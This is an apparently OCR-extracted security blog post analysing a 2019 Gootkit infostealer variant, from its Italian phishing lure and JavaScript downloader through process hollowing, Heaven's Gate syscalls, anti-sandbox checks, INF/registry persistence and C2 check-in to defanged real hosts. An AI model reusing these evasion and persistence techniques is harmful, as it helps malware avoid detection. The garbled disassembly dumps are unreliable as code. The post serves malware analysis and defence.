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Today we are going to start a new series of blog posts called “Malware tales”: the intent is to
go deep on code-level analysis of most widespread malware to allow everyone to get a
better picture of everyday cyber threats. Also, we'd like to demystify malware and show that
we are just talking about a bunch of code
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The Threat:

Gootkit belongs to the category of Infostealers and Bankers therefore it aims to steal
information available on infected machines and to hijack bank accounts to perform unwanted
transactions.

It has been around at least since 2014 and it seems being actively distributed in many
countries, including Italy.
Previous reports about this threat can be found following this link:Malpedia

Today we are going to dive into the analysis of a particular variant that came up the last
week.

Payload Delivery:

The infection vector is an email written in Italian. In this case adversaries used one of the
most common social engineering techniques to trigger the user to open the attachment.

GLS

Caro Pubblico

| vostro ordine n 65423 & stato un successo ricevuta magazzino centro di
esecuzione e pronto a consegna. Ma l'indirizzo nel tuo ordine & elencato con
sbaglio e non possiamo consegnare ['ordine a te

Numero d'ordine: # 65423
Data di consegna: 05.02.2019
Stato: consegnato al magazzino

Controlla il tuo ordine e contattaci se possihile

CONTROLLA ORDINE - Scarica il file allegato alla lettera

Copynight & 2019 GLS. Tutti i diritti riservati.

Unsubscribe
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https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit

The downloaded file is a heavily obfuscated Javascript file called "GLS_Notfifica.js". If the
user opens it, the native Javascript interpreter wscript.exe would be executed by default and
it would perform the following HTTP request:

hxxp://redok.com.mx/tmp/337.php

The result is the download of a cabinet file that is an archive file which can be extracted
natively by Windows. Inside there is a Portable Executable file that is saved into the
%TEMP% folder (“C:\Users\<username>\AppData\Local\Temp”) and launched.

Javascripts downloaders are a common payload delivery because a little obfuscation can
be enough to make them very difficult to be detected by antivirus engines.

5 engines detected this file o
SHA-256 507f734c780f283d6cd7c7443700a65249b8350ecad58b8aa790a32f57eecdd

File name GLS_Notificajs

File size 33.25KB

5 / 57 Last analysis  2019-02-07 13:18:17 UTC

Detection Details Community
lkarus A Trojan-Downloader.)S.Agent Kaspersky A HEUR:Trojan-Downloader.Script.Generic
Rising A Trojan.Obfus)S/Heur!1.A4CA (CLASSIC) Symantec A ISB.Downloader!gen60
ZoneAlarm A HEUR:Trojan-Downloader.Script.Generic Ad-Aware Q Clean

Gootkit executable:

First run of the sample in an automated environment revealed that something new was
added in this version. As we can see in the following images, malware authors added a new
layer of protection to the malicious agent. The comparison has been made with a variant
spread during December of 2018 in Italy. (images are from AnyRun)

gootkit_5_dec_ 201§

gootkit 5_d
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https://any.run/

MidduHDKFLF.exe

MidduHDKFLF.exe

MidduHDKFLF.exe

MidduHDKFLF.exe

This means that the original program was “packed” with the aim to slow down reverse
engineers and to make ineffective static analysis tools like Yara rules.

Stage 1: Packed Gootkit

In such cases, a malware analyst knows that he has to extract the original payload as fast as
possible without losing time to try to understand the inner workings of this stage.

A great open-source tool exists which can resolve the problem in a matter of seconds. It's
called PE-Sieve (Github). Even though it does not always work, in this case it can dump the
unmapped version of the original executable because the malicious software uses a
technique called Process Hollowing a.k.a. RunPE. This method consists in starting a new
process in a suspended state, “hollowing” out the content of the process, replacing it with
malicious code and, finally, resuming the thread.

In the image we can see that the 6th parameter of "CreateProcessW" was set to "4",
indicating that the process will start in a suspended state.

? Graph | % Log 1] Notes #® Breakpoints 8 Memory Map [} call Stack &7 SEH 3| Script %] Symbols <? Source ' References 'S Threads 4/ Snowman ﬁ Handles i:‘"" Trace
.

BB FF mov edi,edi CreateProcessw ~| wide FPU
. 55 push ebp
: ?g EE ';g‘; :Egresp EAX  025EIDGE L™\ "C:\\Users\\REMY \Desktop,\Niddu
. ~ FF 25 28 14 39 74 jmp dword ptr ds:[<&CreateProcessws] CreateProcessw EE; ggilggg?[n L"C1\\Users\\REM\\Desktop\\NidduHD
. cc int3 fo )
. & intz EDX  001910C4
. cc int3 EBP 00191004
. cc int3 ESP 00190984
. cc int3 ESI  04061E3S "jeh”
. cc int3 EDI  04001BEO
. cc int3
. cc int3 EIP 74334510 <kernel3z.CreateProcessi>
. cc int3
: - = EFLAGS 00000304
. jas Iy ZF O PF 1 AF O
= cc int3 OF 0 SF O DF O
. & int3 CFO0 TF1 IF 1
. cc int3
. cc int3 LastError 00000000 (ERROR_SUCCESS)
. cc int3 Laststatus CO000030 (STATUS_INVALID_PARAMETER_MIX)
. cc int3
. cc int3 o
= e inra , | Default (stcal) » [5 2] unlacke
1: [esp+4] O0190EZ2C L"C:\\Users\\REM\\Desktop'\NidduHl
1BEOD 2: [esp+8] 025EIDGE L™\ "C:\‘\Users\\REM“\Desktop\\Nidd
3: [esp+C] 00000000
4: [esp+10] 0000D0OOO
334510 kernel32.d11:$14510 #5510 <CreateProcessis> 5: [esp+l4] 00000000
" " " " _ @) [040D0468[ return to 040D0468 from 777
1 Woump2  @Woumps  Wioumps  Wloumps @ wathi  bellocals Y Struct 00190968 || D0190E2C | L¥C:\\Users\REM\ \Desktop\ \NidduHDKFLF . exe™
Hex ASCIT || 001202BC | 025E1DEE L"™\"c:\\Users\\REM\\Desktop'\\NidduHDKFLF.exe\""
- 0012030 | 00000000
30 00 33 00|34 00 OD 0O[0OA 00 2D 00[20 00 69 00[0.3.4.....-. .1
6E 00 63 00|6F 00 6E 00|73 00 69 00|73 00 74 00|m.c.o.n.s.i.s.t. =
65 00 GE 00|74 00 20 00|6F 00 6E OD|65 00 78 00|e.n.t. .o.n.e.x. ggiggggz 3:333332
69 00 74 00|20 00 62 00|65 00 67 0D|69 OO0 G6E 00|i.t. .b.e.g.i.n. 00130900 | C0000000]
2D 00 65 00|GE 00 64 00|20 00 76 00|61 00 72 00|-.e.n.d. .v.a.r.
69 00 61 00|62 00 6C 00|65 00 73 0D|OD OO0 OA 00|i.a.b.l.e.s..... e

We are talking about a well known technique that is easily detectable with the monitoring of
the Windows API calls that are needed to perform the injection. But here comes the trick.
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https://github.com/hasherezade/pe-sieve

Following the flow of execution we couldn’t find all the needed API calls: we got
NtCreateProcess, NtGetContextThread, NtReadVirtualMemory and NtSetContextThread.

The most important ones that are used by monitoring applications to detect the technique
were missing:

o NtUnmapViewOfSection to “hollow” the target process
o NtWriteVirtualMemory to write into the target process
o NtResumeThread to resume the suspended thread

Let’s find out what’s happening!

After some shellcode injections inside its memory space, the process executes a call to
IsWow64Process API that is used by the application to understand if the process is running
under the WOW64 environment (Wiki): this is a subsystem of the Windows OS that is able to
run 32-bit applications, like this one, on 64-bit operating systems.

L% | push ecx
6A FF push FFFFFFFF

FF 55 40 call dword ptr ss:[ebp+20] [ebp+40] : IswowG4Process
F7 D8 neg eax
1B CO sbb eax,eax

The result of this check is used to run two different paths of code but with the same scope:
run one of the aforementioned missing API calls in the Kernel mode. This means that, in this
way, classic user-level monitoring tools would not catch these calls and the RunPE technique
would remain unnoticed.

Specifically, in case the process is running in a 32-bit environment, it would use the
SYSENTER command to switch into the Kernel mode, while, on the contrary, it would use
the SYSCALL command to perform the same operation.

mov edx,esp

OF 34 sysenter
C3 ret
03FALBAS BB 45 08 mov eax,dword ptr ss:|[Jebp+s]
03FALBAS OF 05 syscall
IFALBAA 89 45 D4 mov dword ptr ss:|lebp-2CJ,eax

To complicate even further, the SYSCALL command can’t be called in the context of a 32-bit
application. This means that the executable needs to perform a “trick-into-the-trick” to
execute this operation. We are talking about a technique known as The Heaven’s Gate.

Practically, thanks to the RETF instruction, it's possible to change the code segment (CS)
from 0x23 to 0x33, de facto enabling 64-bit mode on the running process.

In the following image we highlight the entrance and the exit of the “Gate” which contains the
64-bit code that performs the SYSCALL operation.
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https://it.wikipedia.org/wiki/WOW64
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push___ Ox33
00 PO 00 call Ox1b6a
24 05 add DWORD PTR [rsp], Ox5
retf
ec sub esp, DWORD PTR [rbp-0x14]
bd push QWORD PTR [rbp-0x48]
pop rcx
c8 push QWORD PTR [rbp-0x38]
pop rdx
fo push QWORD PTR [rbp-0x10]
pop ré
fa push QWORD PTR [rbp-0x8]
pop ro
da push QWORD PTR [rbp-0x28]
pop rdi
el push QWORD PTR [rbp-8x20]
pop rsi
test esi,esi
je 0x1bao
8b @c 7 mov rcx, QWORD PTR [edi+esi*8]
89 4c T4 20 mov QWORD PTR [espt+esi*8+0x2@],rcx
01 sub esi, 0x1
jne Ox1b9o
ba push QWORD PTR [rbp-0x48]
pop rie
08 mov eax, DWORD PTR [rbp+0x8]
syscall
d4 mov DWORD PTR [rbp-0x2c], eax
ec add esp, DWORD PTR [rbp-0x14]
00 00 00 call Ox1bbs
24 04 23 00 00 mov DWORD PTR [rsp+8x4], 0x23
24 od add DWORD PTR [rsp], 0xd
retf
b4 mov esp, DWORD PTR [rbp-0xdc]
pop rsi
pop rdi

Instead, in this other image, we can see the process status before opening the gate
(grey=suspended process) and after having closed it (orange=running process).

SN BE N BR - X IR N IFa
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[l Notes

® Breakpoints

Mar 42018
& # fx #

E# Memory Map

A B ES
[ call stack

64 33

E8 00 00 00 0O

82 04

24 05

push 33
€all 3FALBGA
add dword ptr
ret far

sub esp,dword p
push dword ptr
pop ecx

pop ed

inc ecx
pop ea:
push di
inc ec
pop ecx

pop edi

pop esi
test esi,esi

je 3FALBAD

dec eax

mov ecx,dword p
dec eax

push dword ptr ss:

p edx
push dword ptr ss:
X
word ptr ss:
X

push dword ptr ss:
push dword ptr ss:

ss:flespll, 5

bp-14]
48l

tr
Bebp-330
Eebp-10f
E=bp-=0

Bebp-2:)
Bebp-zol

tr ds:[edi+esi*8

Hacker View Toeols

Users  Help

‘?g Refresh 7.2 Options ‘ &8 Find handles or DLLs 34 System information

> |Search Processes (Ctri+K) @

7 SEH Processes Sorvices Network Disk

Mame PID ASLR Integrity CPU  I/Ototal.. Privateb.. Use™

[ csrss.exe 456 ASLR  System 0.06 1.7MB  NT

~ [5] wininit.exe 500 ASLR  System 1.2MB  NT

> [0 services.exe 576 ASLR  System 204 3.32MB NT

[32] Isass.exe 592 ASLR  System 538MB NT

[ fontdrvhost.exe 696 ASLR  Low 1.34MB  For

~ [ winlogon.exe 536 ASLR  System 215MB NT

[ fontdrvhost.exe 704 ASLR Low 438 MB  For

[E] dhwm.exe 904 ASLR  System 0.81 4856 MB Wit

v = explorer.exe 4872 ASIR  Medium 0.24 33.08 MB DE!

~ ¥ x32dbg.exe 3880 ASLR  High 3Tl 79.77TMB DE!

~ [ NidduHDKFLF.exe 332 High 1.95MB DE!
v

>

pestudio.exe
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Mar 42018
. % 4 a\y b = P Hacker View Tools Users Help
3y & | . 7 Ax B
COE 0§ E T . & S ¥ # * = i = % Refresh {3 Options | #8 Find handles or DLLs &% System information ™ |Search Processes (Ctrl+K) yel
By Peaph  [log  [iNotes @ Breakpoints M8 MemoryMap [ CallStack = SEH Processes | Services Network  Disk
o0 FF 75 EO push dword ptr ss:|febp-z0]
SE pop esi B MName PID ASLR  Integrity CPU I/Ototal .. Privateb.. Use™
85 F6 test esi,esi
~ 74 10 ge 3FA1BAD [o5] csrss.exe 436 ASLR  System 0.05 1.7MB NT
67 43 ec eax L
8B 0OC F7 mov ecx,dword.ptr ds:i[edi+esisg] ~ (1] wininit.exe 500 ASLR  System 12MB  NT
67 48 dec eax A
89 4C F4 20 mov dword ptr ss:[lespresi 8+20], ecx > [ services.exe 376 ASLR  System 1.80 332MB NT
83 EE 01 sub-esi, 1 [ sass.exe 502 ASLR  System 538MB NT
~ 75 FOD jne 3FA1890

FF 75 B8 push dword ptr ss:[febp-as] [ fontdrvhost.exe 696 ASLR Low 154 MB For
= LI cox =] winlogan.exe 536 ASLR  System 215MB NT
sapepos By ord prr ss:lebprsl [&] fontdrvhost.exe 704 ASLR  Low 458MB  For
89 45 D4 mov dword ptr ==:[febp-2Cl,eax [ dwrn.exe 904 ASLR System 0.85 4856 MB  Wir
03 65 EC add esp,dword ptr ss:[ebp-14] .
ES8 DD 00 00 0O call 3FA1BBS ¥ r explorer.exe 4372 ASLR Medium 0.15 3808 MB DE!
C7 44 24 04 23 00 00|mov dword ptr ss:[fesp+4lll,23 .
83 04 24 0D add dword gtr ;;:Ea;ﬂ]‘g‘ v ¥ x32dbg.exe 3880 AsLR  High d.22 8006 MEB  DE:
CBE ret far i i ¢
EREEERE Mo espERrHIpErISs: NEba=Ac ~ (1] NidduHDKFLF.exe 332 High 185MB DEf
EE pop eg'\: [ NidduHDKFLF.... 1852 High 146 MB DE! v
= - - pop =4t . - = pestudio‘axe < >

Also, Gootkit takes advantage of The Heaven’s Gate as an anti-debugging technique
because the majority of commonly used debuggers can’t properly handle this situation, not
allowing the analyst to follow the code of the Gate step-by-step.

For further details, this method was deeply explained in this blog_(MalwareBytes)

Going back to the point, the first stage resulted more complicated than expected because it
pushed over the limits of obfuscation and stealthiness with the combination of various
techniques.

Stage 2: Gaining a foothold

At this point we can proceed with the analysis of the unpacked Gootkit.

The very first considerable finding was the check for the existence of a mutex object named
“ServiceEntryPointThread’. If it exists, the process would terminate itself.

-aph Lt Log [l Motes ® Breakpoints B Memory Map D Call Stack &R SEH 123 Seript ‘E] Symbaols <2 Source #~' References 'S Threads 47 Snowman & Handles t' Trace

EEl 00431376 FF 15 CO 91 A5 00 €all dword ptr ds:[<fOpentutexws] | Hide FPU

89 45 BC mov dword ptr ss:[[ebp-74],eax
83 7D 8C 00 cmp dword ptr ss:|[febp-74],0 = " s s "

o & a5 N gootkit_z_stage.ABlBSC’) :;: ggé;g;gg L"ServiceEntryPointThread
8D 4D 84 Tea ecx,dword ptr ss:[ebp-7C[] e Gt
E8 63 12 00 00 €all gootkit_Z_stage.A32Z5F0 . - - - -
50 push eax eax:L"ServiceEntryPointThread” EDX 031F48ED L"ServiceEntryPointThread
6A 00 push o - EEBP 0D4DSFASO
A 00 push o ESE  04DEF708
FF 15 70 91 A5 00 €a11 dword ptr ds:[<&CreateMutexws] ESI 00000006
89 45 8C mov dword ptr ss:[febp-74],eax EDI 03209A70

~ EB OF jmp gootkit_2_stage.A313AC
6A 00 push o EIF  DOA31376 gootkit_2?_stage.00A31376
FF 15 5C 91 AS 00 €all dword ptr ds:[<&GetCurrentProcess>
50 push eax eax:L"ServiceEntryPointThread”
FF 15 68 91 AS 00 €all dword ptr ds:[<&TerminateProcess>] EEL:GSPF 200)223;4
8D 4D 84 lea ecx,dword ptr ss:|febp-7C[) OF D SFO DF O
E8 OC 1D 00 00 E&N1 gootkit_2z_stage.A330C0
EE popged CFO TF1 IF 1
SE pop esi . .
88 ES mov esp,ebp LastError O0O000D0OCE (ERROR_ENVWAR_NOT_FOUND)
5D pop ebp LastsStatus 0000100 (STATUS_VARIABLE_NOT_FOUND)
c3 ret
cc ints v ]
s int2 5 | Default (stdcal) ~ 5 2] unlocked

[1: Tesnl DD1FOOO i

But how mutexes works? Mutexes are used as a locking mechanism to serialize access to a
resource on the system. Malware sometimes uses it as an “infection marker” to avoid to
infect the same machine twice. The fascinating thing about mutexes is that they are a
double-edged weapon: security analysts could install the mutex in advance to vaccinate
endpoints. (ref: Zeltser blog)

This means that this is a great indicator of compromise that we can use not only to detect the
infection but also to prevent it.
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https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/
https://zeltser.com/malware-vaccination-infection-markers/

Moving on, we found that malware authors implemented a lot of checks to understand if the
malware is running inside a virtual environment. Some of them are:

It checks if the registry key
‘HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\O\ProcessorNameString”
contains the word “Xeon”

- call dword ptr ds:[<aRegOpenkeyw:] . . A| Hide EPU

. test eax‘zgixz stage. ASERE eax: L"Hardware'\DESCRIPTIONY\System\\Central Processor'’\0

. ne gootkit_z_: - B "

. 3z I':IIIDV gyte ptr ss:|[lebp-25§,33 33: §HN E’éi ggé;;égg Salisndn
. 4D |mov byte ptr ss:[lebp-37], 4 4D: 'M* ECx D531F27C

. 03 | mov byte ptr ss:[febp- g - -
. 7A|mov byte ptr ss:[ebp-2 7A:"z" EDX  03208DB8 L"Xeon

. 59 |mov byte ptr ss:[febp-2 5a:'y! EBF  0531F3AC

it checks if the computer name is “7SILVIA” or “SANDBOX”, if the username is
“CurrentUser” or “Sandbox” or if “sbiedll.dll” has been loaded.

Q0000000
lninluinlninln]
D4 9AF0O5C | DOOOO000

049AF060 | DOBBEGDSE | "7SILVIAY
0494F064 | DOBBES25 | "SANDBOX"™
OOBBEFFS | "Sandbox™
OO88EB40 | "CurrentuUser™
00OBEEE0E | "shied11.d11™
00000000

L e Tt T T

it checks if “HKLM\HARDWARE\Description\System\VideoBiosVersion” contains the
word “VirtualBox”

BU 45 R4 1ea eax,awora ptr ss:Eenp-.

50 push eax

BE 4D 10 mov ecx,dword ptr ss:|[lebp+10f [ebp+10]:"Oracle vM WwirtualBox Vers
51 push ecx

8D 55 FO Tea edx,dword ptr ss:|[lebp-10§

52 push edx

6A 0O push ©

BB 45 0OC mov eax,dward ptr ss:|[[ebp+C] [ebp+C]: "videoBiosversion™
50 push eax

BB 4D F8 mov ecx,dword ptr ss:|[febp-&]

51 push ecx

FF 15 88 90 A5 00 call dword ptr ds:[<&ReglQueryvalueExax]

BE 55 F8 mav edx,dword ptr ss:[ebp-&]

52 push edx

it checks “HKLM\Software\Microsoft\Windows\CurrentVersion\SystemBiosVersion” for
the string “VBOX”

In the case one of this check fails, the program would execute a Sleep operation in a infinite
cycle in the attempt to thwart automated sandbox execution.

8D 4D FB lea ecx,dword ptr ss:|Jebp-2]
E8 71 32 FF FF call gootkit_2_stage.A32870
O push eax
&6A 00 push o0
FF 15 AC 91 AS 0O call dword ptr ds: [<&GetProcAddresss>]
85 CO test eax,eax
~ 750D jne gootkit_2_stage.A3Fels
&8 10 27 00 00 push 2710
FF 15 E4 91 A5 00 cdll dword ptr ds:[<&5]eep=]
~ EB DE jmp gootkit_2_stage.A3F5F7
8D 4D F8 1ea ecx,dword ptr ss:|febp-2]
E8 EF 32 FF FF call gootkit_2_stage.A32910

After that, we encountered the implementation of a particular persistence mechanism that it
seems Gootkit has been using for many months: it's already documented in various blog
posts, for ex. ReaQta blog.
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https://reaqta.com/2018/12/gootkit-campaign-italian-government/

Briefly, the infostealer generates a INF file with the same filename of itself.

FF 15 3C 92 A5 00 call dword ptr ds:[<&CreateFilen>] | wide FPU
89 45 FC mov dword ptr ss:[ebp-af,eax

. §g ;3 FC FF gﬂg ggg;sietg giééghgégiéiFFFFFFF 20 L"C:\\Users\\REM\\Desktop\\gootkit_2_stage.inf"
FF 15 8§C 91 A5 00 €all dword ptr ds: [<&GetLastErrors] ?f
89 45 F8 mov dword ptr ss:|[[ebp-&],eax - N s e
33 7D Fa 20 emp dword gtr ss:{ehg—a%:zn TR 20 L"C:\\Users'\\REM"\Desktop'\gootkit_2_stage.inf

v 75 33 jne gootkit_z_stage.A3BADF po " . -
BE 45 14 mov eax,dword ptr ss:[Jebp+14]] ) ) g &LC:\\Users\\REM\\Desktop\'gootkit_z_stage.inf

Content of the INF file:

B [Version]
signature = "SCHICAGDS™
AdvancedINF = 2.5, "You need a new wersion of advpack.dll"™
B [DefanltInstall]
FEunPreSetupCommands = qumkzlmsrﬂigthyemydppcpid:z
B [gqwpmkzhnsnhgtlgyemydppopia]
$TEMPEYHidduHDEFLF . exc

Then it creates 3 different registry keys (“Count’, “Path1” and “Section1”) inside
‘HKCU\Software\Microsof\IEAK\GroupPolicy\PendingGPOs” with the purpose to allow the
threat to execute on reboot.

FF 15 64 50 AS 00 call dword ptr ds:[<&RegCreateKeyExw>] |l Hide EPU
89 45 FC mov dword ptr ss:[ebp-4],eax
~ EB 1B jmp gootkit_2_stage.A3C597 -
8D 4D F8 lea ecx,dword ptr ss:[[ebp-s] Egi ;gggggﬂé
51 push ecx
=8 o ECX  000F0Z3F
fB s 10 Loy Cogont] (e o6 Tt edx:L"Software, | EDX  D2D44408 L"Softwar e\\Microsofty\TEAKY\GroupPolicy\\PendingGros™
&A 00 push 0 EBP  0539F750
BB 45 0C mov eax,dword ptr ss:|febp+c [ebp+C]:L"Softw ESE 0539F724
50 push eax ESI 00000005
8B 4D 08 mov ecx,dword ptr ss:[[ebp+s] EDI D0A35480 gootkit_2_stage.00DA35480
51 push ecx B

It seems that this technique was reported to be used only by Gootkit.
Famous security tools still can’t detect this mechanism even if it has been used for months.

For example, the famous SysInternal Autoruns tool, that should be able to show all the
programs that are configured to run on system bootup or login, fails the detection of this
persistence method.

View Favorites Help
KEY_CURRENT_USER\Software\Microsoft\[EAI\GroupPolicy\PendingGPOs
CommsAPHost | Mame Type Data

EM"EC";_: Manager | ok Default)  REG_SZ {value not set)
Cﬂ"t:m . 24 Count REG_DWORD ~ 0x00000001 (1)
"yptography ab)path1 REG SZ C:\Users\REM\Desktop\gootkit_2_stage.inf

CTF
ab
EventSystem Sectiont REG_SZ Defaultinstall

F12
FamilyStore

& Autoruns - Sysinternals: www.sysinternals.com

File Entry Options Help

= BB Fiter: [GroupPoliey
B % apoinit % knownDLLs B Winlogon @ Winsock Providers ‘2 PrintMonitors %) LSA Providers o
37 Bverything 4 logon W Bxplorer @ InternetExplorer (7] Scheduled Tasks &% Services 8 Drivers ¢
Autorun Entry Description Publisher Image Path Timestamp

Fax
Feeds
Fiddler2
FTP
GameBar
GameBarApi
IdentityCRL

v IEAK

~ | GroupPolicy

© PendingGPOs
IME

Stepping through the code, we noticed that, at runtime, Gootkit decrypts the strings it uses
with a custom algorithm to evade static analysis detection of anomalous behaviour.
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It's a combination of “stack strings”, XOR commands and the modulo operation.

& jmp gootkit_2_stage.A47ALlZ
—E- mov ecx,dword ptr ss:|[lebp-10{ loop start
# (| add ecx,1 ecx=control variable
# (| mov dword ptr ss:[ebp-10],ecx
@ (| cmp dword ptr ss:[ebp-10],14 14=len{encrypted_string)
jm—--=- # (| jge gootkit_2_stage.A47ASL ecx < 14 continue; else end loop
1 ® || mov edx,l edx cleanup
! e (| test edx,edx edx:L" /rbody™
L. je gootkit_2_stage.Ad47A4F
" & (| mov eax,dword ptr ss:[ebp-10] save control variable to eax
Ll & (| movzx ecx,byte ptr ss:|[ebpt+eax-g4] get character from encrypted stack string
O & (| mov eax,dword ptr ssi[ebp-10]
e cd
i | . muﬂ esi,6
I | #idiv esi control variable / 6
I | ® (| movzx edx,byte ptr ss:[ebpt+edx-54] use the rest as wvariable to Toop over the XOR values
I | ® || xor ecx,edx decryption with the selected XOR value
] e (| push ecx push decrypted string
| ® (| mov eax,dword ptr ss:[ebp-10]
nl ® (| push eax push control wariable
Hl # (| Tea ecx,dword ptr ss:[ebp-135]
! e || £all gootkit_z_stage.A3Z2610 concat new value to decrypted string and save to edx
4-1—L——¥- jmp gootkit_2_stage.A47ADA continue loop
- B N e T el st o S E n— "N

An exhaustive explanation of the decryption routine can be found here:link

Skipping further, eventually there’s a call to “CreateProcessW’ to start a new instance of
Gootkit with the following parameter: --vwxyz

Stage 3: Check-in phase

Quickly we found out that executing the malware with the cited parameter allows us to skip
all the previous anti-analysis controls to get into the part of the code that starts to contact the
Command & Control Server.

The first check-in to home is done to the following URL via HTTPS:

GET hxxps://avant-garde.host/rbody32
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https://paper.tuisec.win/detail/1f762a57f618c6e

GET Arbody232 HTTRA.1
Cache
Cache-Control: no-cache
Client
User-Agent: Mozilla/S.0 (Windows NT 6.1; Wingd; x64; rv:25.00 Gecko/21000101 Firefoxf25.0
Miscellaneous
Range: bytes=233040-
A-Computeriame: I
-File-Harne: [
A-HTTP-Agent: \WINIMET
w-IsTrustedComp: O
w-OSYersion: 6.2,9200| 0.0]1|0x00000100
A-Proxy-futoDeteck: FALSE
n-Procey-Owerride: <-loopback=
%-Proxy-Present: TRUE
n-Proxey-Server: http=127.0.0.1:8888;https=127.0.0.1:8388
n-Proxey-Used: TRUE
%-User-Info: Meetat it | 0::00000000| 000000221 | admin| 41 *

2-User-Mame: i
n-Yendorld: 3434

Transport
Host: avant-garde. host

As we can see from the image, many headers were added to the request to send different
informations of the infected machine to the C&C Server.

In particular one of the headers caught my attention: “ X-IsTrustedComp”. Digging into the
code we found that the value would be set to “1” if an environment variable called
“crackmeololo” was found in the host, “0” otherwise.

0D2C57AAB | L"X-IsTrustedComp: 0"
O4BIEDFC | 02C4B5DO | L"X-IsTrustedComp: %d™
} ) | DO000000

call dword ptr ds:[<&GetEnvironmentvaria ~ | Hide FPu

Test eax,eax eax: "crackmeololo”

je gootkit_z_stage.ASTBET EAX 0OZEEE7BOD "crackmeololo”
Tea edx,dword ptr ss:[febp-12C] _ | EEX 00000000

pusbies S cr= ek el o ECX  O4BAFELC &"crackmeolalo”
€all dword ptr ds:[<&1strlenas] el 5 K 1alo™
push eax eax:"crackmeololo” EDX  OZEEE7EO Elrt=lanl=l kel
o o [ - FRP NARAFR ™

That seems another “escaping” mechanism implementing by the author, probably to stop the

infection chain for his own debugging purposes.

Last stage:

The response that arrives from the previous connection contains the final stage of Gootkit,
configured to work properly on the infected machine.

The malware dynamically loaded “RtIDecompressBuffer’ call to use it to decompress the
payload; then, it injected into an area of the current process memory.
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—>e FF 15 34 31 FO 00 £a’l dwo~d pre ds:[«<&Loadliboaryss i =

. co Dug? s=x - . E ddy - ] eax:'ntdll.411" ~ || Hide F2U

- FF 15 AC 31 FO 20 ca o tr dsi[<aGetProchddress: " "

® [OOCCE4+0C G2 45 04 o dword per ssiflckp 2Cll,cax Eg§ gggggggg WSEN o G

®|(O0EES4C2 B 4D F4 mov ecx,Jword ptr ss:[ebp-C] B NMAEESE4 AArdT1. AT

® | OOEE24CS 26 51 04 mow s, word pLr Usz[elxes] eUxz 0Ll 1. 111" 5 ALY

o|| OOEEE4CE ) push eds ede:nrdl1.471" EDX  004FEOES ned1l. dil

® || DDEES4CS &4 L8 push & P (ErHAD

® | 0DEES4CE FF 15 BC 91 FO IO ca’l dwo~d ptr ds:[<aGetProczssHeaps1 ESP  0ODFFEES Ltned1l. din

@ |(ODEES401 g0 push eax eax:'ntdl1.471" EST 00000005

& || NNFF=R4nz FF 15 &% 91 F0 0 Fa™l dwned pre dor [eeR 121 TA-ATEHRAN] FnT NNNFFSRN

®|(O0EEZ4D3 &3 45 FO mov dword ptr ssi[ebp-_0],eac

® || ODEEEADE B A5 08 mav eay Jword prr EIF  DOEES4BZ gooThit_z_staje.00EES4BZ

® | DOEES40E BB 45 04 mg: e, Jword ptr ecx:&”ntgll.g]]“, eaxtd:"l.d11"

s | ODEES4EL 22 Cl g add ecx,o ecizatntdl 1. 411"

® | ODEES4ES g3 40 D8 mov dward prr ssiebp-:e],ecs EELfGSPF 900223:4

® | UUEES4ES #E 5h b4 mov edx, word prr ss:[enp-c] SFc o sFo OFa

® | ODEES4EA 8B C2 mov eax,Jword ptr ds:[ed=] eax<:''ntd]1.411", edx:i"ntdl 1,477 :

® || DOEES4EC 53 E& 0C sub eax,C e ntdl1.411" @& Ws L

® | QDEES4EF &9 45 DC mov dword ptr csifebp-r4],eax _

® || OOEE&4F2 SB 40 0C mov ecx, Jword prr se:[ehp-24] LastError 00001000 (ERFOR_SUCCESS)

s | ODEEZ4FS 51 push ecw eciratntdll 411" laststatus CANNINTa CSTATHIE_MR TR T_NAMF _kIT_Fri

® | DDEE&4F & &6 55 D& mov eds<,dword ptr s=:ifebp-23

s | OOCCo4ro 5z push e ? P cdwztnedl 1,411 4G5 C0ZE  FS 0053

® | ODEES4FA EZ C1 E9 FF FF a1 gootkit_2_stage.EEGECO ES COZE D5 0023

® | UUEES4EE sU 4n bE Tea eax,Iword pTr 5sijfenp-i1s] C5 CO2: 55 0023

®|[00EESS 02 50 push eax eax:'nrdl1.471"

i [ja0EES=0) @ < 0s roxMccdwondiptig=:L Nebogl e " XETFO 00000000010000000000 STO Empty 0.0C00000

® | DDEEES 06 51 push ecx ecxi&"ntd]1.d11

el 0DEEZE07 3 oo s Mov e dward ptr seifebp-24] AB7rL 00000000030000000000 STL Emply 0, 0000000

s | OOEESTOA 52 push eds edvratdl1 411" v

. :I‘\FFRKI‘IR AR 45 F4 mny Fax . dwned mte seFehn-c S Defauk (stdcal) ~|[5
1= 0 0

N3194 canntkir_7_stage.al nadl thraryés J=ckern=137 .1 narl 1 hraryés ‘%; E;:g%4?03E585223n5311agllmﬁrczznuffcr"

Afterwards the flow of execution is transferred to the start of the injected code.

3 push ebp

5B EC mov ebp,esp
082010032 22 EC &0 sub esp,&0
0gz0100s %1 70 08 00 00 F§ 7F|cmp dword ptr ss:[ebp+s],7FFE0000
osz01000 ~ F& 00 jbe ezDlo1c
0sz0100F 3B 45 085 mow eax ,dword ptr ss:[ebp+sE]
0sz01012 20 00 00 F8 7F sub eax,7FFE0000
0g201017 59 45 E4 mow dward ptr ss:[ebp-1C] ,eax
05201014 ~ EB 07 jmp &zD1023
0520101 CF 45 E4 00 00 01 o00|mov dword ptr ss:[ebp-1C],10000
0E201023 SE 40 E4 mow ecx,dword ptr ssi[ebp-12] ecxIRTIPCTOFi 1 eHeader
0z201026 59 40 FO moy dword ptr ssifebp-10] ,ecx ecxIRTIPCTOFT 1eHeader
Ogz0102% %1 70 08 00 00 00 80| cmp dword ptr ss:[ebp+s],50000000
08201030 ~ ¥3 0E jae &zD1l040
0gz0l032 3B 55 08 mov edx,dword ptr ss:[ebp+sE]
0s201035 g1 €2 00 00 F3 7F add edx,7FFS0000
0520103E %59 55 EO mow dward ptr ss:[ebp-z0],ed=
0£20103E ~ EB 07 jmp ezD1047
sz 01040 CF 45 EO OO 00 F& FF|mov dword ptr ss:[ebp-z0] ,FFFS0000
08201047 SE 45 EO mow eax ,dword ptr ssifebp-z0]
05201044 59 45 EC mow dward ptr ss:[ebp-14],eax
0Ez01040 C7 45 F8 00 00 00 o0|mov dword ptr ss:[ebp-2],0
0£201054 2 30 E4 3% 33 06 00| cmp dword ptr ds:[&533%E4],0
OEz0105E « FB 1E jne szDlo07z
08201050 22 30 EO 3% 23 0& 00| cmp dword ptr ds:[e8332E0],0
sz 01064 R 1 je ez2D01072
